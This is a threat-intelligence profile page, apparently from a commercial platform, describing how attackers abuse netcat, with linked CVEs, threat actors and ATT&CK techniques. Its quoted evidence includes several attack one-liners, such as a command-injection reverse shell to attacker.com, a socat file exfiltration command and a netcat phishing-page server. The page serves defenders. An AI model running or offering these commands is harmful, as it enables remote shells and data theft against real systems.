Skip to main content
Mallory
Malware5 associated actors6 associated CVEs

netcat

Tracked since Dec 24, 2025 · Updated 12 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days3 mentions · peak 1 in a dayToday
Vulns6Associated
Actors5Associated
ATT&CK23Techniques
IOCs6Tracked
Type
Reverse shell
Capabilities
Post exploitationDefense evasion
Delivery
Lure
Platforms
WindowsLinuxNetwork deviceIOT

Netcat is a legitimate, dual-use command-line networking utility for reading and writing data over network connections. Threat actors frequently abuse it to establish reverse shells, provide interactive command execution, and support command-and-control or tunneling on compromised systems. It is not inherently malicious and is used by multiple unrelated actors rather than belonging to a single threat group.

Malicious deployments have been observed on Windows and Linux hosts, enterprise network appliances, and embedded devices such as IP cameras. Attackers commonly download and execute Netcat after exploiting internet-facing services, including Apache ActiveMQ and WebLogic. Netcat access has subsequently been used to install additional remote-access software, including AnyDesk, and it is also deployed alongside cryptocurrency miners and web shells.

Observed users include z0Miner, APT32, and Ember Bear. APT32 has disguised Netcat as a Windows update, while other operators have renamed it to resemble legitimate system components. Its deployment in healthcare server intrusions and IoT compromises demonstrates its use across different environments. Information theft and further malware installation are possible consequences of the shell access it provides, rather than evidence of dedicated credential-stealing or mining functionality within Netcat itself.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Associated CVEs

Associated vulnerabilities

6 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2026-20079via dark readingAuthentication Bypass and Root Command Execution in Cisco Secure Firewall Management CenterThreat actors possibly tied to Sandworm are chaining the two flaws to first download a Netcat-based reverse shell and proxy tool on vulnerable FMC systems.View vulnerability →Source ↗
CVE-2026-20316via dark readingStatic Credentials in Cisco Secure Firewall Management CenterThreat actors possibly tied to Sandworm are chaining the two flaws to first download a Netcat-based reverse shell and proxy tool on vulnerable FMC systems.View vulnerability →Source ↗
CVE-2023-46604via ahnlab asec blogApache ActiveMQ OpenWire Deserialization Remote Code ExecutionThis threat actor downloaded Netcat as userinit.exe and executed it.View vulnerability →Source ↗
CVE-2024-36401via ahnlab asec blogUnauthenticated Remote Code Execution in GeoServer via XPath EvaluationThe earlier GeoServer attack installed a coin miner and NetCat. The conclusion states that attackers could subsequently use the installed NetCat to install additional malware or steal information.View vulnerability →Source ↗
CVE-2024-23692via ahnlab asec blogUnauthenticated template-injection RCE in Rejetto HTTP File ServerRAT 악성코드들과 CobaltStrike, Netcat 등이 사용되고 있다.View vulnerability →Source ↗
CVE-2023-0669via fortraExploited in the wildUnauthenticated Remote Code Execution in Fortra GoAnywhere MFT"...an unauthorized party used a previously unknown, zero-day remote code execution (RCE) vulnerability to access certain GoAnywhere customers’ systems. This vulnerability was assigned CVE-2023-0669."View vulnerability →Source ↗
Threat actors

Associated threat actors

5 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
Sandworm

Threat actors possibly tied to Sandworm are chaining the two flaws to first download a Netcat-based reverse shell and proxy tool on vulnerable FMC systems.

via dark readingdarkreading.com
z0Miner

This threat actor downloaded Netcat as userinit.exe and executed it.

via ahnlab asec blogasec.ahnlab.com
UAT-11823

UAT-11823 deployed a Netcat reverse shell through a malicious license.tmp file executed by package_info.pl.

via cyberveillecyberveille.ch
APT41

...Netcat... may have been used by the attackers as well.

via eset welivesecurity blogwelivesecurity.com
Ember Bear

Ember Bear uses socket-based tunneling utilities for command and control purposes such as NetCat and Go Simple Tunnel (GOST).

via mitre attackattack.mitre.org
MITRE ATT&CK

Techniques & procedures

23 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

1 technique
T1595Active ScanningEvidence1

Banner Grabbing: Forces the server to cough up its headers so you can see exactly what software is hiding behind the curtain. printf "GET / HTTP/1.0 \r \n \r \n " | nc - v < target > 80

Resource Development

1 technique
T1588.002ToolEvidence1

Annex B lists Obtain Capabilities: Tool.

Initial Access

2 techniques
T1200Hardware AdditionsEvidence1

“Connecting rogue hardware devices directly into retail store networks as a means to establish direct footholds.”

T1566PhishingEvidence1

The Web Server MacGyver — Need to serve a phishing page or a quick tool without spinning up Apache? while true ; do { echo -e ‘HTTP/1.1 200 OK\r\n’; cat index.html; } | nc -l -p 8080; done

Execution

4 techniques
T1059Command and Scripting InterpreterEvidence11

“We built a container image with netcat installed, deployed it as an AgentCore Runtime, and connected back with a reverse shell.”

T1059.003Windows Command ShellEvidence2

The malicious payload (SSCE5532.dll) was executed via the command prompt... Next, a password-protected RAR archive is downloaded from a distribution server and unpacked... c:\windows\system32\cmd.exe /C ... rar.exe x ...

T1059.004Unix ShellEvidence8

FabricShell passed attacker-controlled command strings to /bin/sh -c . Observed commands included initial tests such as ls and pwd , followed by shell scripts and reverse shell activity.

T1203Exploitation for Client ExecutionEvidence2

"In May 2024, a remote code execution vulnerability (CVE-2024-23692) in HFS was announced. Using this, the threat actor can send packets containing commands to HFS and have it execute malicious commands."

Stealth

1 technique
T1036MasqueradingEvidence2

actors used the following command to rename one of their tools to a benign file name: ren "%temp%\upload" audiodg.exe ... APT1 ... used ... AcroRD32.exe ... as a name for malware ... APT28 ... changed extensions on files containing exfiltrated data to make them appear benign ... APT32 has renamed a NetCat binary to kb-10233.exe to masquerade as a Windows update.

Discovery

1 technique
T1046Network Service DiscoveryEvidence2

Its simplicity masks a surprising versatility: it can copy files, tunnel traffic, relay ports, scan networks, and sometimes even replace more complex post-exploitation tools.

Lateral Movement

3 techniques
T1021Remote ServicesEvidence3

The Play binary was submitted to VirusTotal as part of an archive... containing various hack tools and utilities–including AnyDesk, NetCat...

T1021.004SSHEvidence1

paramiko.SSHClient.connect('45.79.187.72', username='root', pkey=key, timeout=10)

T1570Lateral Tool TransferEvidence1

Once attackers achieve execution, they must move their toolkit across the environment. Several native protocols were validated for tool transfer (T1570).

Command and Control

6 techniques
T1071Application Layer ProtocolEvidence1

"RAT malware such as Gh0stRAT and PlugX... as well as Cobalt Strike and Netcat can be found."

T1090ProxyEvidence1

Its simplicity masks a surprising versatility: it can copy files, tunnel traffic, relay ports, scan networks, and sometimes even replace more complex post-exploitation tools.

T1095Non-Application Layer ProtocolEvidence7

T1095 — Non-Application Layer Protocol (Command and Control) ; redirections TCP Bash

T1105Ingress Tool TransferEvidence7

The content shows transferring data with "socat -u file:/path/to/input-file tcp-connect:attacker.com:12345" and receiving it with netcat or socat listeners.

T1219Remote Access ToolsEvidence6

We also found that they established a reverse shell connection ... using the command-line tool, NetCat.

T1571Non-Standard PortEvidence2

The application server communicates with the C2 via webshell uploaded using FabricShell on nonstandard ports.

Exfiltration

4 techniques
T1030Data Transfer Size LimitsEvidence1

On the victim’s computer, I coded a Python script that will perform the following tasks: - Read a file - Split it in chunks of 3KB - Send everything to a TCP connection... The file has been successfully exfiltrated!

T1041Exfiltration Over C2 ChannelEvidence1

Finally, the stage 4 payload executes the reverse shell script located at /data/data/com.termux/_rev.sh , establishing a root reverse shell connection.

T1048Exfiltration Over Alternative ProtocolEvidence3

For example, an attacker could append ; nc attacker.com 4444 -e /bin/bash to gain a reverse shell, or use similar payloads for data exfiltration or system manipulation.

T1048.003Exfiltration Over Unencrypted Non-C2 ProtocolEvidence3

PostgreSQL sys_eval and Netcat pipeline streaming SSL private keys to 62.171.185.97:8888; Wget POST requests sending system metadata and credentials to the C2.

Indicators of compromise

Observables

6 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

22 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+15 more in the timeline. Sign up to see them
Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching6Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors5Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities6CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping23Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.